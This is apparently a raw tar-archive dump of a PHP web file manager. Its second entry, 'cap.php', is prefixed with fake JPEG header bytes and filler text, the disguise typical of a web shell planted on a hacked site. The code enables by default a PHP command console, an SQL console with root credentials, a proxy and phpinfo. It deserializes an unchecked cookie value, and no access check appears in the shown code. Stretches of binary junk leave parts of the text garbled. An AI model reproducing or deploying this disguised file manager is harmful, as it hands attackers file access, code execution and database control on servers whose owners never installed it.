			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
